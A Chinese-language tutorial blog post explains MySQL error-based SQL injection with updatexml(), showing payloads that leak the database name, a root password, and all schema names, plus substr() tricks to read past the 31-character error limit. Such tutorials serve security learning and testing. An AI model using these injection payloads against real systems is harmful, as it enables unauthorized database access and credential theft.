updatexml报错注入原理分析

++《网络安全自学教程》++

SQL注入时,经常利用updatexml()的报错特性来脱库。

updatexml报错原理

updatexml() 的作用是修改xml文件的内容。

1、updatexml语法参数

updatexml(参数1,参数2,参数3)

  • 参数1: 文件名,比如 a.xm
  • 参数2:路径,比如 contry->city1
  • 参数3:替换的值内容,比如 tianjing

就是把 a.xm 文件中 contry->city1 标签的值改成 tianjing

2、报错原理分析

参数2 的路径必须符合 XML 的 Xpath 语法,否则就会报错,提示你语法错误,并且把报错位置的内容显示出来。

比如我给参数2一个特殊符号~,它就会把这个特殊符号显示出来。

​​​​​​​​​​​​

如果函数里还有函数,他就会先执行里面的那个函数,类似小学数学里提到的"先算括号内,再算括号外",利用这个特性,我们在updatexml()里插入别的函数。

sql 复制代码
select updatexml(1,concat('~',database()),3);
  1. 它会先执行最里面的 database() ,查看到前使用的数据库是test。
sql 复制代码
select updatexml(1,concat('~',test),3);
  1. 再执行 concat() ,拼接成~test
sql 复制代码
select updatexml(1,'~test',3);
  1. 再执行updatexml(),一看参数2是 ~test,不符合Xpath语法,就报语法错误,停止执行SQL,然后把报错位置的参数显示出来。像下图的执行结果那样,我们就拿到了当前使用的数据库。

3、使用updatexml()脱库

按照上一步的逻辑,在函数中再插入括号,括号里写SQL语句,就能执行任意SQL,比如:查看root用户的密码。

sql 复制代码
select updatexml(1,concat('~',
(select password from user where username='root')
),3);

插入脱库语法来脱裤。

sql 复制代码
select updatexml(1,
concat('~',(
select group_concat(schema_name) 
from information_schema.schemata
)),3);

这里大家能注意到,我文章中的SQL故意换行了,这个换行不是语法要求,是给你自己看的,否则嵌套这么多括号,很容易写错。

4、分割显示结果

updatexml() 显示的报错内容字符串,最大长度是31个字符。脱库的结果显示不全,我们可以用 substr() 截取不同位置的字符串,分别显示出来。

比如:从第1个字符开始,截取31个字符。

sql 复制代码
select updatexml(1,concat('~',
substr(
(select group_concat(schema_name) 
from information_schema.schemata)
,1,31)
),3);

从第32个字符开始,截取31个字符。

sql 复制代码
select updatexml(1,concat('~',
substr(
(select group_concat(schema_name) 
from information_schema.schemata)
,32,31)
),3);

直到显示完所有字符。

相关推荐
Bulestar_xx3 小时前
vulnhub DC-4 walkthrough (含非预期)
linux·网络·安全
大秦王多鱼4 小时前
Kafka ACL(访问控制列表)介绍
运维·分布式·安全·kafka·apache
誰能久伴不乏4 小时前
从零开始:用Qt开发一个功能强大的文本编辑器——WPS项目全解析
数据库·qt·wps
40岁的系统架构师5 小时前
17 一个高并发的系统架构如何设计
数据库·分布式·系统架构
安的列斯凯奇6 小时前
Redis篇 Redis如何清理过期的key以及对应的解决方法
数据库·redis·缓存
小小虫码6 小时前
MySQL和Redis的区别
数据库·redis·mysql
doubt。8 小时前
2.[网鼎杯 2020 朱雀组]phpweb
网络·安全·web安全·网络安全·php·代码复审
Allen_LVyingbo8 小时前
构建医疗AI编程可控价值观罗盘:多维度融合导向
安全·全文检索·健康医疗
飞翔的佩奇8 小时前
Java项目: 基于SpringBoot+mybatis+maven+mysql实现的图书管理系统(含源码+数据库+答辩PPT+毕业论文)
java·数据库·spring boot·mysql·spring·毕业设计·图书管理
程序猿编码9 小时前
自定义命令执行器:C++中命令封装的深度探索(C/C++实现)
linux·c语言·c++·网络安全·shell·命令行